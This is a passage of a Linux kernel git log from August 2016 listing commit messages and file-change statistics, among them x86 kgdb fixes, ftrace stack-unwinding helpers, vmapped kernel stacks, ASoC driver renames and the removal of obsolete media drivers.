Gleixner Link: http://lkml.kernel.org/r/1471106302-10159-4-git-send-email-brgerst@gmail.com Signed-off-by: Ingo Molnar arch/x86/include/asm/stacktrace.h | 4 ++-- arch/x86/include/asm/switch_to.h | 5 +++++ arch/x86/kernel/kgdb.c | 3 ++- arch/x86/kernel/process.c | 3 ++- 4 files changed, 11 insertions(+), 4 deletions(-) commit 163630191ecb0dd9e4146d3c910045aba1cfeec1 Author: Brian Gerst Date: Sat Aug 13 12:38:17 2016 -0400 sched/x86/64, kgdb: Clear GDB_PS on 64-bit switch_to() no longer saves EFLAGS, so it's bogus to look for it on the stack. Set it to zero like 32-bit. Signed-off-by: Brian Gerst Reviewed-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jason Wessel Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471106302-10159-3-git-send-email-brgerst@gmail.com Signed-off-by: Ingo Molnar arch/x86/kernel/kgdb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4e047aa7f267c3449b6d323510d35864829aca70 Author: Brian Gerst Date: Sat Aug 13 12:38:16 2016 -0400 sched/x86/32, kgdb: Don't use thread.ip in sleeping_thread_to_gdb_regs() Match 64-bit and set gdb_regs[GDB_PC] to zero. thread.ip is always the same point in the scheduler (except for newly forked processes), and will be removed in a future patch. Signed-off-by: Brian Gerst Reviewed-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jason Wessel Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471106302-10159-2-git-send-email-brgerst@gmail.com Signed-off-by: Ingo Molnar arch/x86/kernel/kgdb.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d12c6216c4a58f9fd2a58bc489783a095d84b2fc Author: Kuninori Morimoto Date: Tue Aug 23 01:35:02 2016 +0000 ASoC: rsrc-card: rename rsrc-card to simple-scu-card phase3 rsrc-card which is using DPCM feature was created for Renesas sound. But not only Renesas, but many SoC can use this driver, because it is based on simple-card driver. To use it as more open driver, rsrc-card will be renamed to simple-scu-card. In order to easy patch review, as 3rd step, this patch moves rsrc-card driver to generic folder. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown .../bindings/sound/renesas,rsrc-card.txt | 80 ----- .../devicetree/bindings/sound/simple-scu-card.txt | 80 +++++ sound/soc/generic/Kconfig | 7 + sound/soc/generic/Makefile | 2 + sound/soc/generic/simple-scu-card.c | 361 +++++++++++++++++++++ sound/soc/sh/Kconfig | 6 - sound/soc/sh/rcar/Makefile | 3 - sound/soc/sh/rcar/rsrc-card.c | 361 --------------------- 8 files changed, 450 insertions(+), 450 deletions(-) commit 64df0e6842925311d74f6944710495981d5a0ace Author: Kuninori Morimoto Date: Tue Aug 23 01:34:43 2016 +0000 ASoC: rsrc-card: rename rsrc-card to simple-scu-card phase2 rsrc-card which is using DPCM feature was created for Renesas sound. But not only Renesas, but many SoC can use this driver, because it is based on simple-card driver. To use it as more open driver, rsrc-card will be renamed to simple-scu-card. In order to easy patch review, as 2nd step, this patch adds new compatible "simple-scu-audio-card"; rcar-card used specific property, not "simple-audio-card", but it should be now. Actually, rsrc-card is upstreamed driver, but noone is using it on upstream. The user is only local, and it is only me. Thus, there is no compatible break by this patch. This patch uses "simple-audio-card" prefix. And it removes rcar-card specifix compatible too. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown .../bindings/sound/renesas,rsrc-card.txt | 52 +++++++++++--------- sound/soc/sh/rcar/rsrc-card.c | 55 +++++++++------------- 2 files changed, 51 insertions(+), 56 deletions(-) commit 53e682b60019d501e00cfeb701f99ca027470e36 Author: Kuninori Morimoto Date: Tue Aug 23 01:34:17 2016 +0000 ASoC: rsrc-card: rename rsrc-card to simple-scu-card phase1 rsrc-card which is using DPCM feature was created for Renesas sound. But not only Renesas, but many SoC can use this driver, because it is based on simple-card driver. To use it as more open driver, rsrc-card will be renamed to simple-scu-card. In order to easy patch review, as 1st step, this patch renames "rsrc" function prefix to "asoc_simple". Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown sound/soc/sh/rcar/rsrc-card.c | 108 +++++++++++++++++++++--------------------- 1 file changed, 54 insertions(+), 54 deletions(-) commit a3235938308150fbd0f8b478e73d1e66e945937a Author: Kuninori Morimoto Date: Tue Aug 23 01:33:57 2016 +0000 ASoC: rsrc-card: remove board specific compatible rsrc-card has board specific compatible (= lager/koelsh), but these were created as 1st prototype, and it is used in my test environment only. Now normal user can use generic compatible (= renesas,rsrc-card). Removing these board specific compatible doesn't breake compatibility. This patch remove these. Signed-off-by: Kuninori Morimoto Signed-off-by: Mark Brown .../devicetree/bindings/sound/renesas,rsrc-card.txt | 7 ++----- sound/soc/sh/rcar/rsrc-card.c | 13 ------------- 2 files changed, 2 insertions(+), 18 deletions(-) commit 79e79e2ebc454e66f02e1b7e962711eee4da7e15 Merge: 1d9d0c6 239486b Author: Mark Brown Date: Wed Aug 24 11:19:08 2016 +0100 Merge branch 'topic/simple' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into asoc-rcar commit b2d4c2edb2e4f89aaf85449dee3b87fbf0f8a4d4 Author: Vegard Nossum Date: Thu Aug 18 18:41:00 2016 +0200 locking/hung_task: Show all locks When we get a hung task it can often be valuable to see _all_ the held locks on the system (in case we are being blocked on trying to acquire one), e.g. with this patch we can immediately see where the problem is below: INFO: task trinity-c3:14933 blocked for more than 120 seconds. Not tainted 4.8.0-rc1+ #135 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. trinity-c3 D ffff88010c16fc88 0 14933 1 0x00080004 ffff88010c16fc88 000000003b9aca00 0000000000000000 0000000000000296 00000000776cdf88 ffff88011a520ae0 ffff88011a520b08 ffff88011a520198 ffffffff867d7f00 ffff88011942c080 ffff880116841580 ffff88010c168000 Call Trace: [] schedule+0x77/0x230 [] __lock_sock+0x129/0x250 [] ? __sk_destruct+0x450/0x450 [] ? wake_bit_function+0x2e0/0x2e0 [] lock_sock_nested+0xeb/0x120 [] irda_setsockopt+0x65/0xb40 [] SyS_setsockopt+0x139/0x230 [] ? SyS_recv+0x20/0x20 [] ? trace_event_raw_event_sys_enter+0xb90/0xb90 [] ? __this_cpu_preempt_check+0x13/0x20 [] ? __context_tracking_exit.part.3+0x30/0x1b0 [] ? SyS_recv+0x20/0x20 [] do_syscall_64+0x1b3/0x4b0 [] entry_SYSCALL64_slow_path+0x25/0x25 Showing all locks held in the system: 2 locks held by khungtaskd/563: #0: (rcu_read_lock){......}, at: [] watchdog+0x106/0x910 #1: (tasklist_lock){......}, at: [] debug_show_all_locks+0x74/0x360 1 lock held by trinity-c0/19280: #0: (sk_lock-AF_IRDA){......}, at: [] irda_accept+0x176/0x10f0 1 lock held by trinity-c0/12865: #0: (sk_lock-AF_IRDA){......}, at: [] irda_accept+0x176/0x10f0 Signed-off-by: Vegard Nossum Cc: Andrew Morton Cc: Linus Torvalds Cc: Mandeep Singh Baines Cc: Paul E. McKenney Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471538460-7505-1-git-send-email-vegard.nossum@oracle.com Signed-off-by: Ingo Molnar kernel/hung_task.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 13e25bab7e51bdd4ba7df1ef2388961294bb565e Author: Josh Poimboeuf Date: Fri Aug 19 06:53:02 2016 -0500 x86/dumpstack/ftrace: Don't print unreliable addresses in print_context_stack_bp() When function graph tracing is enabled, print_context_stack_bp() can report return_to_handler() as an unreliable address, which is confusing and misleading: return_to_handler() is really only useful as a hint for debugging, whereas print_context_stack_bp() users only care about the actual 'reliable' call path. Signed-off-by: Josh Poimboeuf Acked-by: Steven Rostedt Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/c51aef578d8027791b38d2ad9bac0c7f499fde91.1471607358.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack.c | 2 -- 1 file changed, 2 deletions(-) commit 6f727b84e23421721025f4eb1b4f6cea1d4d723a Author: Josh Poimboeuf Date: Fri Aug 19 06:53:01 2016 -0500 x86/dumpstack/ftrace: Mark function graph handler function as unreliable When function graph tracing is enabled for a function, its return address on the stack is replaced with the address of an ftrace handler (return_to_handler). Currently 'return_to_handler' can be reported as reliable. That's not ideal, and can actually be misleading. When saving or dumping the stack, you normally only care about what led up to that point (the call path), rather than what will happen in the future (the return path). That's especially true in the non-oops stack trace case, which isn't used for debugging. For example, in a perf profiling operation, reporting return_to_handler() in the trace would just be confusing. And in the oops case, where debugging is important, "unreliable" is also more appropriate there because it serves as a hint that graph tracing was involved, instead of trying to imply that return_to_handler() was the real caller. Signed-off-by: Josh Poimboeuf Acked-by: Steven Rostedt Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/f8af15749c7d632d3e7f815995831d5b7f82950d.1471607358.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack.c | 24 ++++++++++++++++-------- 1 file changed, 16 insertions(+), 8 deletions(-) commit 471bd10f5e2880bd91a2627d887f6062494cfe9c Author: Josh Poimboeuf Date: Fri Aug 19 06:53:00 2016 -0500 ftrace/x86: Implement HAVE_FUNCTION_GRAPH_RET_ADDR_PTR Use the more reliable version of ftrace_graph_ret_addr() so we no longer have to worry about the unwinder getting out of sync with the function graph ret_stack index, which can happen if the unwinder skips any frames before calling ftrace_graph_ret_addr(). This fixes this issue (and several others like it): $ cat /proc/self/stack [] save_stack_trace_tsk+0x22/0x40 [] proc_pid_stack+0xb9/0x110 [] proc_single_show+0x54/0x80 [] seq_read+0x108/0x3e0 [] __vfs_read+0x37/0x140 [] vfs_read+0x99/0x140 [] SyS_read+0x58/0xc0 [] entry_SYSCALL_64_fastpath+0x1f/0xbd [] 0xffffffffffffffff $ echo function_graph > /sys/kernel/debug/tracing/current_tracer $ cat /proc/self/stack [] return_to_handler+0x0/0x27 [] print_context_stack+0xfc/0x100 [] return_to_handler+0x0/0x27 [] dump_trace+0x12b/0x350 [] return_to_handler+0x0/0x27 [] save_stack_trace_tsk+0x22/0x40 [] return_to_handler+0x0/0x27 [] proc_pid_stack+0xb9/0x110 [] return_to_handler+0x0/0x27 [] proc_single_show+0x54/0x80 [] return_to_handler+0x0/0x27 [] seq_read+0x108/0x3e0 [] return_to_handler+0x0/0x27 [] __vfs_read+0x37/0x140 [] return_to_handler+0x0/0x27 [] vfs_read+0x99/0x140 [] 0xffffffffffffffff Enabling function graph tracing causes the stack trace to change in two ways: First, the real call addresses are confusingly interspersed with 'return_to_handler' addresses. This issue will be fixed by the next patch. Second, the stack trace is offset by two frames, because the unwinder skipped the first two frames and got out of sync with the ret_stack index. This patch fixes this issue. Signed-off-by: Josh Poimboeuf Acked-by: Steven Rostedt Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/a6d623e36f8d08f9a17bd74d804d201177a23afd.1471607358.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/ftrace.h | 2 ++ arch/x86/kernel/ftrace.c | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) commit 408fe5de2f2767059a9561e0ae6d4385d1b39dac Author: Josh Poimboeuf Date: Fri Aug 19 06:52:59 2016 -0500 x86/dumpstack/ftrace: Convert dump_trace() callbacks to use ftrace_graph_ret_addr() Convert print_context_stack() and print_context_stack_bp() to use the arch-independent ftrace_graph_ret_addr() helper. Signed-off-by: Josh Poimboeuf Acked-by: Steven Rostedt Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/56ec97cafc1bf2e34d1119e6443d897db406da86.1471607358.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack.c | 65 +++++++++++++++------------------------------ 1 file changed, 22 insertions(+), 43 deletions(-) commit 223918e32a87c79ac55ca4aa513ba405ba4d57cd Author: Josh Poimboeuf Date: Fri Aug 19 06:52:58 2016 -0500 ftrace: Add ftrace_graph_ret_addr() stack unwinding helpers When function graph tracing is enabled for a function, ftrace modifies the stack by replacing the original return address with the address of a hook function (return_to_handler). Stack unwinders need a way to get the original return address. Add an arch-independent helper function for that named ftrace_graph_ret_addr(). This adds two variations of the function: one depends on HAVE_FUNCTION_GRAPH_RET_ADDR_PTR, and the other relies on an index state variable. The former is recommended because, in some cases, the latter can cause problems when the unwinder skips stack frames. It can get out of sync with the ret_stack index and wrong addresses can be reported for the stack trace. Once all arches have been ported to use HAVE_FUNCTION_GRAPH_RET_ADDR_PTR, we can get rid of the distinction. Signed-off-by: Josh Poimboeuf Acked-by: Steven Rostedt Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/36bd90f762fc5e5af3929e3797a68a64906421cf.1471607358.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar include/linux/ftrace.h | 10 +++++++ kernel/trace/trace_functions_graph.c | 58 ++++++++++++++++++++++++++++++++++++ 2 files changed, 68 insertions(+) commit 9a7c348ba6a46f6270d4fe49577649dad5664fe7 Author: Josh Poimboeuf Date: Fri Aug 19 06:52:57 2016 -0500 ftrace: Add return address pointer to ftrace_ret_stack Storing this value will help prevent unwinders from getting out of sync with the function graph tracer ret_stack. Now instead of needing a stateful iterator, they can compare the return address pointer to find the right ret_stack entry. Note that an array of 50 ftrace_ret_stack structs is allocated for every task. So when an arch implements this, it will add either 200 or 400 bytes of memory usage per task (depending on whether it's a 32-bit or 64-bit platform). Signed-off-by: Josh Poimboeuf Acked-by: Steven Rostedt Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/a95cfcc39e8f26b89a430c56926af0bb217bc0a1.1471607358.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar Documentation/trace/ftrace-design.txt | 11 +++++++++++ arch/arm/kernel/ftrace.c | 2 +- arch/arm64/kernel/ftrace.c | 2 +- arch/blackfin/kernel/ftrace.c | 2 +- arch/microblaze/kernel/ftrace.c | 2 +- arch/mips/kernel/ftrace.c | 4 ++-- arch/parisc/kernel/ftrace.c | 2 +- arch/powerpc/kernel/ftrace.c | 3 ++- arch/s390/kernel/ftrace.c | 3 ++- arch/sh/kernel/ftrace.c | 2 +- arch/sparc/kernel/ftrace.c | 2 +- arch/tile/kernel/ftrace.c | 2 +- arch/x86/kernel/ftrace.c | 2 +- include/linux/ftrace.h | 5 ++++- kernel/trace/trace_functions_graph.c | 5 ++++- 15 files changed, 34 insertions(+), 15 deletions(-) commit daa460a88c09b26b68e8b017de589c217e901afb Author: Josh Poimboeuf Date: Fri Aug 19 06:52:56 2016 -0500 ftrace: Only allocate the ret_stack 'fp' field when needed This saves some memory when HAVE_FUNCTION_GRAPH_FP_TEST isn't defined. On x86_64 with newer versions of gcc which have -mfentry, it saves 400 bytes per task. Signed-off-by: Josh Poimboeuf Acked-by: Steven Rostedt Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/5c7747d9ea7b5cb47ef0a8ce8a6cea6bf7aa94bf.1471607358.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar include/linux/ftrace.h | 2 ++ kernel/trace/trace_functions_graph.c | 2 ++ 2 files changed, 4 insertions(+) commit e4a744ef2fef5c803348b650a3a2d01da7797a9b Author: Josh Poimboeuf Date: Fri Aug 19 06:52:55 2016 -0500 ftrace: Remove CONFIG_HAVE_FUNCTION_GRAPH_FP_TEST from config Make HAVE_FUNCTION_GRAPH_FP_TEST a normal define, independent from kconfig. This removes some config file pollution and simplifies the checking for the fp test. Suggested-by: Steven Rostedt Signed-off-by: Josh Poimboeuf Acked-by: Steven Rostedt Cc: Andy Lutomirski Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Byungchul Park Cc: Denys Vlasenko Cc: Frederic Weisbecker Cc: H. Peter Anvin Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/2c4e5f05054d6d367f702fd153af7a0109dd5c81.1471607358.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/arm64/kernel/entry-ftrace.S | 2 +- arch/blackfin/kernel/ftrace-entry.S | 4 ++-- arch/sparc/Kconfig | 1 - arch/sparc/include/asm/ftrace.h | 4 ++++ arch/x86/Kconfig | 1 - arch/x86/include/asm/ftrace.h | 1 + kernel/trace/Kconfig | 5 ----- kernel/trace/trace_functions_graph.c | 2 +- 8 files changed, 9 insertions(+), 11 deletions(-) commit e37e43a497d5a8b7c0cc1736d56986f432c394c9 Author: Andy Lutomirski Date: Thu Aug 11 02:35:23 2016 -0700 x86/mm/64: Enable vmapped stacks (CONFIG_HAVE_ARCH_VMAP_STACK=y) This allows x86_64 kernels to enable vmapped stacks by setting HAVE_ARCH_VMAP_STACK=y - which enables the CONFIG_VMAP_STACK=y high level Kconfig option. There are a couple of interesting bits: First, x86 lazily faults in top-level paging entries for the vmalloc area. This won't work if we get a page fault while trying to access the stack: the CPU will promote it to a double-fault and we'll die. To avoid this problem, probe the new stack when switching stacks and forcibly populate the pgd entry for the stack when switching mms. Second, once we have guard pages around the stack, we'll want to detect and handle stack overflow. I didn't enable it on x86_32. We'd need to rework the double-fault code a bit and I'm concerned about running out of vmalloc virtual addresses under some workloads. This patch, by itself, will behave somewhat erratically when the stack overflows while RSP is still more than a few tens of bytes above the bottom of the stack. Specifically, we'll get #PF and make it to no_context and them oops without reliably triggering a double-fault, and no_context doesn't know about stack overflows. The next patch will improve that case. Thank you to Nadav and Brian for helping me pay enough attention to the SDM to hopefully get this right. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Nadav Amit Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/c88f3e2920b18e6cc621d772a04a62c06869037e.1470907718.git.luto@kernel.org [ Minor edits. ] Signed-off-by: Ingo Molnar arch/x86/Kconfig | 1 + arch/x86/include/asm/switch_to.h | 28 +++++++++++++++++- arch/x86/kernel/traps.c | 61 ++++++++++++++++++++++++++++++++++++++++ arch/x86/mm/tlb.c | 15 ++++++++++ 4 files changed, 104 insertions(+), 1 deletion(-) commit b4a0f533e5976cb1a79f31d6152e1d322d79b7f1 Author: Andy Lutomirski Date: Thu Aug 11 02:35:22 2016 -0700 dma-api: Teach the "DMA-from-stack" check about vmapped stacks If we're using CONFIG_VMAP_STACK=y and we manage to point an sg entry at the stack, then either the sg page will be in highmem or sg_virt() will return the direct-map alias. In neither case will the existing check_for_stack() implementation realize that it's a stack page. Fix it by explicitly checking for stack pages. This has no effect by itself. It's broken out for ease of review. Signed-off-by: Andy Lutomirski Cc: Andrew Morton Cc: Arnd Bergmann Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/448460622731312298bf19dcbacb1606e75de7a9.1470907718.git.luto@kernel.org [ Minor edits. ] Signed-off-by: Ingo Molnar lib/dma-debug.c | 36 ++++++++++++++++++++++++++++++------ 1 file changed, 30 insertions(+), 6 deletions(-) commit ba14a194a434ccc8f733e263ad2ce941e35e5787 Author: Andy Lutomirski Date: Thu Aug 11 02:35:21 2016 -0700 fork: Add generic vmalloced stack support If CONFIG_VMAP_STACK=y is selected, kernel stacks are allocated with __vmalloc_node_range(). Grsecurity has had a similar feature (called GRKERNSEC_KSTACKOVERFLOW=y) for a long time. Signed-off-by: Andy Lutomirski Acked-by: Michal Hocko Cc: Alexander Potapenko Cc: Andrey Ryabinin Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: Dmitry Vyukov Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/14c07d4fd173a5b117f51e8b939f9f4323e39899.1470907718.git.luto@kernel.org [ Minor edits. ] Signed-off-by: Ingo Molnar arch/Kconfig | 34 +++++++++++++ arch/ia64/include/asm/thread_info.h | 2 +- include/linux/sched.h | 15 ++++++ kernel/fork.c | 96 +++++++++++++++++++++++++++++-------- 4 files changed, 126 insertions(+), 21 deletions(-) commit eb4e841099f813c2df5fbb00ae4a9d315cb7c9dc Merge: 556b672 fa8410b Author: Ingo Molnar Date: Wed Aug 24 12:11:29 2016 +0200 Merge tag 'v4.8-rc3' into x86/asm, to pick up fixes Signed-off-by: Ingo Molnar commit 702650bda073cb9df90e3a091ee515f340133b05 Author: Peter Robinson Date: Tue Aug 23 18:17:46 2016 +0100 ASoC: sunxi: depend on ARCH_SUNXI Depend on ARCH_SUNXI or COMPILE_TEST as it doesn't make sense to enable these if the appropriate SoC they're embedded in isn't enabled. Signed-off-by: Peter Robinson Signed-off-by: Mark Brown sound/soc/sunxi/Kconfig | 1 + 1 file changed, 1 insertion(+) commit d0d44516f8e989392d1fa545ae58ea6694743db9 Author: Hans Verkuil Date: Fri Aug 5 10:38:32 2016 -0300 [media] s5p-tv: remove obsolete driver The s5p-tv driver has been replaced by the exynos drm driver for quite a long time now. Remove this driver to avoid having duplicate drivers, of which this one is considered dead code by Samsung. Signed-off-by: Hans Verkuil Acked-by: Sylwester Nawrocki Acked-by: Krzysztof Kozlowski Signed-off-by: Mauro Carvalho Chehab MAINTAINERS | 8 - drivers/gpu/drm/exynos/Kconfig | 3 +- drivers/media/platform/Kconfig | 1 - drivers/media/platform/Makefile | 1 - drivers/media/platform/s5p-tv/Kconfig | 88 -- drivers/media/platform/s5p-tv/Makefile | 19 - drivers/media/platform/s5p-tv/hdmi_drv.c | 1059 --------------------- drivers/media/platform/s5p-tv/hdmiphy_drv.c | 324 ------- drivers/media/platform/s5p-tv/mixer.h | 364 -------- drivers/media/platform/s5p-tv/mixer_drv.c | 527 ----------- drivers/media/platform/s5p-tv/mixer_grp_layer.c | 270 ------ drivers/media/platform/s5p-tv/mixer_reg.c | 551 ----------- drivers/media/platform/s5p-tv/mixer_video.c | 1130 ----------------------- drivers/media/platform/s5p-tv/mixer_vp_layer.c | 242 ----- drivers/media/platform/s5p-tv/regs-hdmi.h | 146 --- drivers/media/platform/s5p-tv/regs-mixer.h | 122 --- drivers/media/platform/s5p-tv/regs-sdo.h | 63 -- drivers/media/platform/s5p-tv/regs-vp.h | 88 -- drivers/media/platform/s5p-tv/sdo_drv.c | 497 ---------- drivers/media/platform/s5p-tv/sii9234_drv.c | 407 -------- 20 files changed, 1 insertion(+), 5909 deletions(-) commit f304562ed3c97e237a77b3da57b0e43f264bd82a Author: Hans Verkuil Date: Sun Jul 31 08:12:22 2016 -0300 [media] soc-camera/sh_mobile_csi2: remove unused driver The sh_mobile_csi2 isn't used anymore (was it ever?), so remove it. Especially since the soc-camera framework is being deprecated. Signed-off-by: Hans Verkuil Acked-by: Laurent Pinchart Cc: Guennadi Liakhovetski Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/soc_camera/Kconfig | 7 - drivers/media/platform/soc_camera/Makefile | 1 - .../platform/soc_camera/sh_mobile_ceu_camera.c | 229 +----------- drivers/media/platform/soc_camera/sh_mobile_csi2.c | 400 --------------------- include/media/drv-intf/sh_mobile_ceu.h | 1 - include/media/drv-intf/sh_mobile_csi2.h | 48 --- 6 files changed, 10 insertions(+), 676 deletions(-) commit 563bf7a72eac823b06953cd3dce9b71b499fa438 Author: Hans Verkuil Date: Sun Jul 31 07:50:08 2016 -0300 [media] tw686x-kh: remove obsolete driver The functionality that was part of the tw686x-kh driver but not of the mainlined tw686x driver has now been added to the tw686x driver as well. So this driver no longer adds any functionality not available through the mainlined driver and it can now be removed. Signed-off-by: Hans Verkuil Cc: Krzysztof Hałasa Signed-off-by: Mauro Carvalho Chehab drivers/staging/media/Kconfig | 2 - drivers/staging/media/Makefile | 1 - drivers/staging/media/tw686x-kh/Kconfig | 17 - drivers/staging/media/tw686x-kh/Makefile | 3 - drivers/staging/media/tw686x-kh/TODO | 6 - drivers/staging/media/tw686x-kh/tw686x-kh-core.c | 140 ---- drivers/staging/media/tw686x-kh/tw686x-kh-regs.h | 103 --- drivers/staging/media/tw686x-kh/tw686x-kh-video.c | 813 ---------------------- drivers/staging/media/tw686x-kh/tw686x-kh.h | 117 ---- 9 files changed, 1202 deletions(-) commit 687df1ad848102da9ea1ee8b0c64c2576ceb60f6 Author: Wei Yongjun Date: Tue Aug 23 23:10:17 2016 +0000 ASoC: omap-abe-twl6040: Use devm_snd_soc_register_card() Using devm_snd_soc_register_card() can make the code shorter and cleaner. Signed-off-by: Wei Yongjun Acked-by: Peter Ujfalusi Signed-off-by: Mark Brown sound/soc/omap/omap-abe-twl6040.c | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) commit f6ccdc44ddc8a619ae2898104d67ad4d3d469706 Merge: 4e85e77 a871967 Author: Mark Brown Date: Wed Aug 24 10:32:41 2016 +0100 Merge branch 'fix/omap' of git://git.kernel.org/pub/scm/linux/kernel/git/broonie/sound into asoc-omap commit fe996215156e56cd5c51a86aaf0e53a137a0136f Author: Caesar Wang Date: Wed Jul 27 22:24:05 2016 +0800 arm64: dts: rockchip: add the saradc for rk3399 This patch adds saradc needed information on rk3399 SoCs. Signed-off-by: Caesar Wang Reviewed-by: Douglas Anderson Reviewed-by: Guenter Roeck Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3399.dtsi | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 5035da41996d346c648a65c1d7a9f6469c7d358a Author: Wei Jiangang Date: Fri Aug 19 11:22:37 2016 +0800 x86/apic: Update comment about disabling processor focus Fix references to discarded end_level_ioapic_irq(). Signed-off-by: Wei Jiangang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bp@suse.de Link: http://lkml.kernel.org/r/1471576957-12961-2-git-send-email-weijg.fnst@cn.fujitsu.com Signed-off-by: Ingo Molnar arch/x86/kernel/apic/apic.c | 1 - 1 file changed, 1 deletion(-) commit 384d9fe3741657c8ed8cd9bf30bc1d4611864d56 Author: Wei Jiangang Date: Fri Aug 19 11:22:36 2016 +0800 x86/smpboot: Check APIC ID before setting up default routing This is not a bugfix, but code optimization. If the BSP's APIC ID in local APIC is unexpected, a kernel panic will occur and the system will halt. That means no need to enable APIC mode, and no reason to set up the default routing for APIC. The combination of default_setup_apic_routing() and apic_bsp_setup() are used to enable APIC mode. They two should be kept together, rather than being separated by the codes of checking APIC ID. Just like their usage in APIC_init_uniprocessor(). Signed-off-by: Wei Jiangang Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: bp@suse.de Link: http://lkml.kernel.org/r/1471576957-12961-1-git-send-email-weijg.fnst@cn.fujitsu.com Signed-off-by: Ingo Molnar arch/x86/kernel/smpboot.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 556b6723689694ac9134bcc36a07828168e057f4 Author: Borislav Petkov Date: Tue Aug 23 19:23:56 2016 +0200 x86/entry: Remove outdated comment about SYSCALL targets The comment probably meant some old AMD64 incarnation which most likely never saw the light of day. STAR and LSTAR are two different registers and STAR sets CS/SS(DS) selectors for *all* modes, not only 32-bit. So simply remove that comment. Signed-off-by: Borislav Petkov Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas 